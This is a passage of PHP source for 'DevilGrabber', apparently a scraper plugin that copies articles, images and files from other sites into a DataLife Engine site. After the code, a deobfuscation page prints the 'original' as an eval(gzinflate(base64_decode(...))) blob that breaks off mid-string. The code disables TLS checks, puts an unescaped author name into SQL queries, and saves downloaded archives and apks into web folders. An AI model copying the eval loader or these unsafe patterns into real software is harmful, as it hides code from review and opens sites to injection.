if(!empty($array[$element]['fragments_output'][$rkey]['main_query']))
{
$return .= trim($array[$element]['fragments_output'][$rkey]['main_query']);
} else
{
$return .= "";
}
} elseif(isset($array[$element]['main_query'][$rkey]))
{
if(!empty($array[$element]['main_query'][$rkey]))
{
if($element === "title")
{
$return .= trim($array[$element]['main_query'][$rkey]->text());
} else
{
if(isset($this->constructor->parsing_patterns[$element]['main'][$element . '_type']))
{
switch($this->constructor->parsing_patterns[$element]['main'][$element . '_type'])
{
case 'text' :
$return .= trim(nl2br($array[$element]['main_query'][$rkey]->text()));
break;
default :
$return .= trim($array[$element]['main_query'][$rkey]->innerhtml());
break;
}
}
}
} else
{
$return .= "";
}
}
}
if(isset($matches[1]) AND !empty($matches[1]))
{
$matches[1] = intval(strtr($matches[1], [
'[' => "",
']' => "",
]));
$count = intval($matches[1] - 1);
if($count < 0)
{
$count = 0;
}
if(
isset($array[$element]['fragments_output'][$rkey][$count]) AND
!empty($array[$element]['fragments_output'][$rkey][$count])
)
{
$return .= trim($array[$element]['fragments_output'][$rkey][$count]);
} else
{
$return .= "";
}
}
return trim($return);
}, $this->constructor->parsing_patterns[$element]['main'][$element_output]);
} else
{
if(
isset($array[$element]['fragments_output'][$rkey]['main_query']) AND
!empty($array[$element]['fragments_output'][$rkey]['main_query'])
)
{
$output .= trim($array[$element]['fragments_output'][$rkey]['main_query']);
} else if(
isset($array[$element]['main_query'][$rkey]) AND
!empty($array[$element]['main_query'][$rkey])
)
{
if($element === "title")
{
if(is_array($array[$element]['main_query'][$rkey]))
{
$output = trim($array[$element]['main_query'][$rkey]->text());
} else
{
$output = trim($array[$element]['main_query'][$rkey]->text());
}
} else
{
if(isset($this->constructor->parsing_patterns[$element]['main'][$element . '_type']))
{
switch($this->constructor->parsing_patterns[$element]['main'][$element . '_type'])
{
case 'text' :
$output = trim(nl2br($array[$element]['main_query'][$rkey]->text()));
break;
default :
$output = trim($array[$element]['main_query'][$rkey]->innerHtml());
break;
}
}
}
}
}
if(!empty($additional_data))
{
foreach($additional_data as $akey => $adata)
{
switch($akey)
{
case 'title' :
case 'short_story' :
case 'full_story' :
$output = preg_replace_callback('/{' . $akey . '(\[\d+]|)}/i', function($matches) use ($adata, $rkey, $akey) {
$return = '';
if($matches[0] === "{{$akey}}")
{
if(isset($adata[$akey]['fragments_output'][$rkey]['main_query']))
{
if(!empty($adata[$akey]['fragments_output'][$rkey]['main_query']))
{
$return .= trim($adata[$akey]['fragments_output'][$rkey]['main_query']);
} else
{
$return .= "";
}
} elseif(isset($adata[$akey]['main_query'][$rkey]))
{
if(!empty($adata[$akey]['main_query'][$rkey]))
{
if($akey === "title")
{
$return .= trim($adata[$akey]['main_query'][$rkey]->text());
} else
{
if(isset($this->constructor->parsing_patterns[$akey]['main'][$akey . '_type']))
{
switch($this->constructor->parsing_patterns[$akey]['main'][$akey . '_type'])
{
case 'text' :
$return .= trim(nl2br($adata[$akey]['main_query'][$rkey]->text()));
break;
default :
$return .= trim($adata[$akey]['main_query'][$rkey]->innerhtml());
break;
}
}
}
} else
{
$return .= "";
}
}
}
if(isset($matches[1]) AND !empty($matches[1]))
{
$matches[1] = intval(strtr($matches[1], [
'[' => "",
']' => "",
]));
$count = intval($matches[1] - 1);
if($count < 0)
{
$count = 0;
}
if(
isset($adata[$akey]['fragments_output'][$rkey][$count]) AND
!empty($adata[$akey]['fragments_output'][$rkey][$count])
)
{
$return .= trim($adata[$akey]['fragments_output'][$rkey][$count]);
} else
{
$return .= "";
}
}
return trim($return);
}, $output);
break;
case 'xfields' :
foreach($adata['xfields'] as $xfkey => $xfield)
{
$output = preg_replace_callback('/{xf(\[((.*?))]|\[(\d+)])}/i', function($matches) use ($adata, $rkey, $xfkey) {
$return = '';
if($matches[0] === "{xf[{$xfkey}]}")
{
if(isset($adata['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']))
{
if(!empty($adata['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']))
{
$return .= trim($this->filter_string($adata['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']));
} else
{
$return .= "";
}
} elseif(isset($adata['xfields'][$xfkey]['main_query'][$rkey]))
{
if(!empty($adata['xfields'][$xfkey]['main_query'][$rkey]))
{
$return .= trim($this->filter_string($adata['xfields'][$xfkey]['main_query'][$rkey]->text()));
} else
{
$return .= "";
}
}
}
if((isset($matches[3]) AND !empty($matches[3])) AND mb_strpos($matches[3], "][") !== FALSE)
{
$matches[3] = explode("][", $matches[3]);
$count = intval($matches[3][1] - 1);
if($count < 0)
{
$count = 0;
}
if(
isset($adata['xfields'][$xfkey]['fragments_output'][$rkey][$count]) AND
!empty($adata['xfields'][$xfkey]['fragments_output'][$rkey][$count])
)
{
$return .= trim($this->filter_string($adata['xfields'][$xfkey]['fragments_output'][$rkey][$count]));
} else
{
$return .= "";
}
}
return trim($return);
}, $output);
}
break;
}
}
}
} else
{
$output = [];
foreach($array['xfields'] as $xfkey => $xfield)
{
if(
isset($this->constructor->parsing_patterns['xfields'][$xfkey]['main']['xfield_output']) AND
!empty($this->constructor->parsing_patterns['xfields'][$xfkey]['main']['xfield_output'])
)
{
$output[$xfkey] = preg_replace_callback('/{xf(\[((.*?))]|\[(\d+)])}/i', function($matches) use ($array, $rkey, $xfkey) {
$return = '';
if($matches[0] === "{xf[{$xfkey}]}")
{
if(isset($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']))
{
if(!empty($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']))
{
$return .= trim($this->filter_string($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']));
} else
{
$return .= "";
}
} elseif(isset($array['xfields'][$xfkey]['main_query'][$rkey]))
{
if(!empty($array['xfields'][$xfkey]['main_query'][$rkey]))
{
$return .= trim($this->filter_string($array['xfields'][$xfkey]['main_query'][$rkey]->text()));
} else
{
$return .= "";
}
}
}
if((isset($matches[3]) AND !empty($matches[3])) AND mb_strpos($matches[3], "][") !== FALSE)
{
$matches[3] = explode("][", $matches[3]);
$count = intval($matches[3][1] - 1);
if($count < 0)
{
$count = 0;
}
if(
isset($array['xfields'][$xfkey]['fragments_output'][$rkey][$count]) AND
!empty($array['xfields'][$xfkey]['fragments_output'][$rkey][$count])
)
{
$return .= trim($this->filter_string($array['xfields'][$xfkey]['fragments_output'][$rkey][$count]));
} else
{
$return .= "";
}
}
return trim($return);
}, $this->constructor->parsing_patterns['xfields'][$xfkey]['main']['xfield_output']);
} else
{
if(
isset($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']) AND
!empty($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query'])
)
{
if(is_array($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']))
{
$output[$xfkey] = array_map("trim", $array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']);
} else
{
$output[$xfkey] = trim($array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']);
}
} else if(
isset($array['xfields'][$xfkey]['main_query'][$rkey]) AND
!empty($array['xfields'][$xfkey]['main_query'][$rkey])
)
{
if(is_array($array['xfields'][$xfkey]['main_query'][$rkey]))
{
$output[$xfkey] = array_map("trim", $array['xfields'][$xfkey]['fragments_output'][$rkey]['main_query']);
} else
{
$output[$xfkey] = trim($this->filter_string($array['xfields'][$xfkey]['main_query'][$rkey]->text()));
}
}
}
}
}
return $output;
}
public function clear()
{
unset($this->document);
}
};
}
protected function post_processing(string $html, string $element, string $element_type, string $site_url)
{
if(empty($html)) return ;
$html = strtr($html, [
'\n' => "<br/>",
'\r' => "<br/>",
]);
if(isset($this->parsing_patterns[$element]['main'][$element_type]))
{
$purifier_config = HTMLPurifier_Config::createDefault();
$allowed_tags = '';
switch($this->parsing_patterns[$element]['main'][$element_type])
{
default :
if((bool) $this->parsing_patterns[$element]['post_processing']['load_images'])
{
$this->parsing_patterns[$element]['post_processing']['allowed_tags'] .= '|img';
$html_document = (new \DiDom\Document($html));
foreach($html_document->find('img') as $ikey => $img)
{
$imgel = new \DiDom\Element('img', 'Image', [
'src' => $this->download()->dimage($this->check_site_host($site_url, $img->src)),
'alt' => "",
]);
$img->replace($imgel);
}
$html = $html_document->toElement()->innerHtml();
$allowed_tags .= '<img>';
} else
{
$html_document = (new \DiDom\Document($html));
foreach($html_document->find('img') as $ikey => $img)
{
$imgel = new \DiDom\Element('img', 'Image', [
'src' => $this->check_site_host($site_url, $img->src),
'alt' => "",
]);
$img->replace($imgel);
}
$html = $html_document->toElement()->innerHtml();
}
if((bool) $this->parsing_patterns[$element]['post_processing']['strip_tags'])
{
$allowed_tags .= trim($this->parsing_patterns[$element]['post_processing']['allowed_tags']);
$html = strip_tags($html, $allowed_tags);
}
if((bool) $this->parsing_patterns[$element]['post_processing']['format_html'])
{
$purifier_config->set('AutoFormat.RemoveEmpty', true);
}
break;
case 'text' :
$purifier_config = HTMLPurifier_Config::createDefault();
$purifier_config->set('AutoFormat.AutoParagraph',true);
break;
}
$purifier_config->set('Core.RemoveInvalidImg', false);
$purifier = new HTMLPurifier($purifier_config);
return $purifier->purify($html);
}
return $html;
}
protected function find_replace($string, string $element, string $find_replace)
{
$patterns = [];
$replacements = [];
if(empty($string))
{
return $string;
}
unset(
$this->parsing_patterns[$element][$find_replace]['find'][0],
$this->parsing_patterns[$element][$find_replace]['replace'][0]
);
if(
(
isset($this->parsing_patterns[$element][$find_replace][1]['find']) AND
!empty($this->parsing_patterns[$element][$find_replace][1]['find'])
)
)
{
$this->parsing_patterns[$element][$find_replace] = array_values($this->parsing_patterns[$element][$find_replace]);
$this->parsing_patterns[$element][$find_replace] = array_values($this->parsing_patterns[$element][$find_replace]);
foreach($this->parsing_patterns[$element][$find_replace] as $key => $find)
{
if(!empty($find['find']))
{
$patterns[] = '%' . trim($find['find']) . '%siU';
$replacements[] = $this->filter_string($find['replace']);
}
}
}
if(!empty($patterns))
{
return preg_replace($patterns, $replacements, $string);
} else
{
return $string;
}
}
protected function prepare_xfields(array $array)
{
$output = [];
$xfields = xfieldsload();
foreach($xfields as $xfield)
{
if($xfield[3] !== "text" AND $xfield[3] !== "textarea" AND $xfield[3] !== "image" AND $xfield[3] !== "imagegalery" AND $xfield[3] !== "file")
{
continue;
}
switch($xfield[3])
{
case 'text' :
case 'textarea' :
if(isset($array[$xfield[0]]) AND !empty($array[$xfield[0]]))
{
$output[$xfield[0]] = $xfield[0] . "|" . trim($array[$xfield[0]]);
}
break;
case 'image' :
if(isset($array[$xfield[0]]) AND !empty($array[$xfield[0]]))
{
$array_output = [];
$imgsrc = $this->download()->dimage($array[$xfield[0]]);
if($imgsrc !== FALSE)
{
$short_imgsrc = strtr($imgsrc, [
'/uploads/posts/' => "",
]);
list($width, $height) = getimagesize(ROOT_DIR . '/uploads/posts/' . date("Y-m") . '/' . basename($imgsrc));
$array_output[] = [
'imgsrc' => $imgsrc,
'short_imgsrc' => $short_imgsrc,
'width' => $width,
'height' => $height,
'size' => formatsize(filesize(ROOT_DIR . '/uploads/posts/' . date("Y-m") . '/' . basename($imgsrc)))
];
}
}
if(!empty($array_output))
{
$return = [];
foreach($array_output as $out)
{
$return[] = $out['short_imgsrc'] . "|0|0|{$out['width']}x{$out['height']}|{$out['size']}";
}
if(!empty($return))
{
$return = $xfield[0] . "|" . implode(",", $return);
}
}
if(!empty($return))
{
$output[$xfield[0]] = $return;
}
break;
case 'imagegalery' :
if(isset($array[$xfield[0]]) AND is_array($array[$xfield[0]]))
{
$array_output = [];
foreach($array[$xfield[0]] as $image)
{
$imgsrc = $this->download()->dimage($image);
if($imgsrc !== FALSE)
{
$short_imgsrc = strtr($imgsrc, [
'/uploads/posts/' => "",
]);
list($width, $height) = getimagesize(ROOT_DIR . '/uploads/posts/' . date("Y-m") . '/' . basename($imgsrc));
$array_output[] = [
'imgsrc' => $imgsrc,
'short_imgsrc' => $short_imgsrc,
'width' => $width,
'height' => $height,
'size' => formatsize(filesize(ROOT_DIR . '/uploads/posts/' . date("Y-m") . '/' . basename($imgsrc)))
];
}
}
}
if(!empty($array_output))
{
$return = [];
foreach($array_output as $out)
{
$return[] = $out['short_imgsrc'] . "|0|0|{$out['width']}x{$out['height']}|{$out['size']}";
}
if(!empty($return))
{
$return = $xfield[0] . "|" . implode(",", $return);
}
}
if(!empty($return))
{
$output[$xfield[0]] = $return;
}
break;
case 'file' :
if(isset($array[$xfield[0]]) AND is_array($array[$xfield[0]]))
{
foreach($array[$xfield[0]] as $ikey => $file)
{
if($ikey !== 0)
{
continue;
}
$filesrc = $this->download()->dfile($file);
if($filesrc !== FALSE)
{
$this->db->execute('INSERT', [
'table_name' => "files",
'fields' => [
'name' => basename($filesrc),
'onserver' => strtr($filesrc, [
'/uploads/files/' => "",
]),
'author' => "admin",
'date' => time(),
'checksum' => md5_file(ROOT_DIR . '/uploads/files/' . date("Y-m") . '/' . basename($value)),
],
]);
$output[$xfield[0]] = $xfield[0] . "|[attachment={$this->db->insert_id()}:" . basename($filesrc) . "]";
}
}
}
break;
}
}
return $output;
}
protected function download()
{
return new class {
protected $client;
function __construct()
{
$this->client = new \GuzzleHttp\Client([
'connect_timeout' => 10,
'read_timeout' => 10,
'verify' => false
]);
}
public function dimage(string $imagesrc)
{
@mkdir(ROOT_DIR . '/uploads/posts/' . date("Y-m"), 0775);
@chmod(ROOT_DIR . '/uploads/posts/' . date("Y-m"), 0775);
$image_name = mb_strtolower(time() . "_" . basename($imagesrc));
$allowed_extensions = [
'png', 'jpg', 'jpeg', 'webp', 'gif', 'avif', 'bmp', 'heic'
];
$extension = array_pop(explode('.', basename($image_name)));
if(array_search($extension, $allowed_extensions) !== FALSE)
{
$this->client->request('GET', $imagesrc, [
'sink' => ROOT_DIR . '/uploads/posts/' . date("Y-m") . '/' . $image_name,
'verify' => false
]);
return '/uploads/posts/' . date("Y-m") . '/' . $image_name;
}
return false;
}
public function dfile(string $filesrc)
{
@mkdir(ROOT_DIR . '/uploads/files/' . date("Y-m"), 0775);
@chmod(ROOT_DIR . '/uploads/files/' . date("Y-m"), 0775);
$file_name = mb_strtolower(time() . "_" . basename($filesrc));
$allowed_extensions = [
'zip', 'rar', '7z', 'jar', 'gz', 'pak', 'apk', 'tar', 'tar.gz',
'torrent',
'mp4', 'mp3', 'm4v', 'm4a', 'mov', 'webm', 'm3u8', 'mkv'
];
$extension = array_pop(explode('.', basename($file_name)));
if(array_search($extension, $allowed_extensions) !== FALSE)
{
$this->client->request('GET', $filesrc, [
'sink' => ROOT_DIR . '/uploads/files/' . date("Y-m") . '/' . $file_name,
'verify' => false
]);
return '/uploads/files/' . date("Y-m") . '/' . $file_name;
}
return false;
}
function __destruct()
{
unset($this->client);
}
};
}
public function start_grabbing(string $site_url, int $site_id, array $arguments = [])
{
global $member_id, $config, $parse;
if(!check_license_ug())
{
die('License not valid...');
}
$site_url = filter_var($site_url, FILTER_VALIDATE_URL);
if($site_url !== FALSE)
{
try
{
$client = new \GuzzleHttp\Client([
'connect_timeout' => 10,
'read_timeout' => 10,
'verify' => false
]);
$response = $client->request('GET', $site_url, [
'headers' => [
'User-Agent' => "DevilGrabber (devilcode.ru)",
],
]);
$query = $this->db->super_query("SELECT * FROM " . PREFIX . "_ugrabber_sites WHERE `id` = '" . intval($site_id) . "'");
if(!is_null($query))
{
$document = (new \DiDom\Document($response->getBody()->getContents()));
$this->parsing_patterns = json_decode(stripslashes($query['site_patterns']), true);
$fragments = $this->build_array($document, $site_url);
// TITLE
$title_array = [];
$title_array = $fragments->prepare(false, 'title', 'title_pattern', 'title_fragments');
// SHORTSTORY
$short_story_array = [];
$short_story_array = $fragments->prepare(false, 'short_story', 'short_story_pattern', 'sstory_fragments');
// FULLSTORY
$full_story_array = [];
$full_story_array = $fragments->prepare(false, 'full_story', 'full_story_pattern', 'fstory_fragments');
// XFIELDS
$xfields_array = [];
$xfields_array = $fragments->prepare(true);
// FULL STORY LINK
$full_story_links_array = [];
$fragments->clear();
unset($fragments);
if(
isset($this->parsing_patterns['full_story_link']['main']['full_story_link_pattern']) AND
!empty($this->parsing_patterns['full_story_link']['main']['full_story_link_pattern'])
)
{
$full_story_links_array[] = $this->execute_query($this->parsing_patterns['full_story_link']['main']['full_story_link_pattern'], $document);
if(
isset($full_story_links_array[0]) AND
!empty($full_story_links_array[0])
)
{
$promises = [];
foreach($full_story_links_array[0] as $fkey => $link)
{
$promises[$fkey] = $client->getAsync($this->check_site_host($site_url, $link->href));
}
$responses = \GuzzleHttp\Promise\Utils::unwrap($promises);
foreach($responses as $rkey => $response)
{
$full_document = (new \DiDom\Document($response->getBody()->getContents()));
$fragments = $this->build_array($full_document, $site_url);
// title fragments
$title_array = $fragments->execute($title_array, $rkey, false, 'title');
// sstory fragments
$short_story_array = $fragments->execute($short_story_array, $rkey, false, 'short_story', 'short_story_type');
// fstory fragments
$full_story_array = $fragments->execute($full_story_array, $rkey, false, 'full_story', 'full_story_type');
// xfield fragments
$xfields_array = $fragments->execute($xfields_array, $rkey, true);
// xfields compile
$xfields_compile = $fragments->compile($xfields_array, $rkey, true);
// title compile
$title = $fragments->compile($title_array, $rkey, false, 'title', 'title_output', [
'xfields' => $xfields_array
]);
$title = $this->filter_string($title);
#$title = $this->find_replace($title, 'title', 'title_search_replace');
$newscount = $this->db->super_query("SELECT COUNT(*) as count FROM " . PREFIX . "_post WHERE `title` = '" . $this->db->safesql($title) . "'");
if(empty($title) OR $newscount['count'] >= 1)
{
continue;
}
// sstory compile
$short_story = $fragments->compile($short_story_array, $rkey, false, 'short_story', 'short_story_output', [
'title' => $title_array,
'xfields' => $xfields_array
]);
$short_story = $this->post_processing($short_story, 'short_story', 'short_story_type', $site_url);
#$short_story = $this->find_replace($short_story, 'short_story', 'sstory_search_replace');
// fstory compile
$full_story = $fragments->compile($full_story_array, $rkey, false, 'full_story', 'full_story_output', [
'title' => $title_array,
'xfields' => $xfields_array,
'short_story' => $short_story_array
]);
$full_story = $this->post_processing($full_story, 'full_story', 'full_story_type', $site_url);
$full_story = $this->find_replace($full_story, 'full_story', 'fstory_search_replace');
// xfields prepare
$xfields_prepare = $this->prepare_xfields($xfields_compile);
if(!empty($xfields_prepare))
{
$xfields_output = implode("||", $xfields_prepare);
} else
{
$xfields_output = "";
}
$fragments->clear();
$author = (isset($arguments['author']) ? $parse->process(trim(strip_tags($arguments['author']))) : $member_id['name']);
$this->db->execute('INSERT', [
'table_name' => "post",
'fields' => [
'date' => date("Y-m-d H:i:s"),
'autor' => $author,
'short_story' => $short_story,
'full_story' => $full_story,
'xfields' => $xfields_output,
'title' => $title,
'descr' => "",
'keywords' => "",
'category' => ((isset($arguments['category']) AND !empty($arguments['category'])) ? implode(",", array_map('intval', $arguments['category'])) : ''),
'alt_name' => totranslit(stripslashes($title), true, false, $config['translit_url']),
'allow_comm' => (isset($arguments['allow_comm']) ? intval($arguments['allow_comm']) : '0'),
'approve' => (isset($arguments['approve']) ? intval($arguments['approve']) : '0'),
'allow_main' => (isset($arguments['allow_main']) ? intval($arguments['allow_main']) : '0'),
'fixed' => (isset($arguments['fixed']) ? intval($arguments['fixed']) : '0'),
'allow_br' => '0',
'symbol' => '',
'tags' => '',
'metatitle' => '',
],
]);
$news_id = $this->db->insert_id();
$this->db->execute('INSERT', [
'table_name' => "post_extras",
'fields' => [
'news_id' => $news_id,
'allow_rate' => (isset($arguments['allow_rate']) ? intval($arguments['allow_rate']) : '0'),
'votes' => "",
'disable_index' => (isset($arguments['disable_index']) ? intval($arguments['disable_index']) : '0'),
'related_ids' => "",
'access' => "",
'user_id' => $this->db->super_query("SELECT `user_id` FROM " . PREFIX . "_users WHERE `name` = '{$author}'")['user_id'],
'disable_search' => (isset($arguments['disable_search']) ? intval($arguments['disable_search']) : '0'),
'need_pass' => "0",
'allow_rss' => (isset($arguments['allow_rss']) ? intval($arguments['allow_rss']) : '0'),
'allow_rss_turbo' => (isset($arguments['allow_rss_turbo']) ? intval($arguments['allow_rss_turbo']) : '0'),
'allow_rss_dzen' => (isset($arguments['allow_rss_dzen']) ? intval($arguments['allow_rss_dzen']) : '0'),
],
]);
$this->db->query("UPDATE " . PREFIX . "_files SET `news_id` = '{$news_id}' WHERE `news_id` = '0'");
$this->db->query("UPDATE " . PREFIX . "_users SET `news_num` = `news_num` + 1 WHERE `name` = '{$author}'");
$this->db->execute('INSERT', [
'table_name' => "ugrabber_added_news",
'fields' => [
'site_id' => $site_id,
'news_id' => $news_id,
'news_title' => $title,
'news_date' => date("Y-m-d H:i:s"),
],
]);
}
}
}
}
} catch(Exception $e)
{
echo $e->getMessage();
}
}
}
}
class DBWrapper
{
protected $db;
private $keys = [];
private $values = [];
function __construct()
{
global $db;
$this->db = $db;
}
function __call($name, $arguments)
{
if(method_exists($this->db, $name))
{
return $this->db->$name($arguments[0]);
}
}
function __destruct()
{
return;
}
function execute(string $type = 'INSERT', array $arguments = [])
{
if(isset($arguments['fields']))
{
foreach($arguments['fields'] as $key => $value)
{
if(mb_strlen($value) > 0)
{
$this->keys[] = $key;
$this->values[] = $this->db->safesql($value);
}
}
if(
(!empty($this->keys) AND !empty($this->values)) AND
(count($this->keys) === count($this->values))
)
{
switch($type)
{
case 'INSERT' :
$this->db->query("INSERT INTO `" . PREFIX . "_{$arguments['table_name']}` (" .
implode(',', array_map(
function ($key)
{
return '`' . $key . '`';
}, $this->keys
))
. ") VALUES (" .
implode(',', array_map(
function ($value)
{
return '\'' . $value . '\'';
}, $this->values
))
. ")");
break;
case 'UPDATE' :
if(isset($arguments['where']))
{
$where = " WHERE " . $arguments['where'];
}
$this->db->query("UPDATE `" . PREFIX . "_{$arguments['table_name']}` SET " .
implode(',', array_map(
function ($key, $value)
{
return '`' . $key . '` = \'' . $value . '\'';
}, $this->keys, $this->values
))
. $where);
break;
}
unset($this->keys, $this->values);
return true;
}
}
return false;
}
}
$license_status = check_license_ug();
$devilgrabber = new DevilGrabber;
Did this file decode correctly?
Original Code
<?php
function vAQoAs($jccREKFEF) {
$_WbzIFITQwO = strrev('etalfnizg');
$jccREKFEF = gzinflate(base64_decode($jccREKFEF));
return $jccREKFEF;
}
eval(vAQoAs("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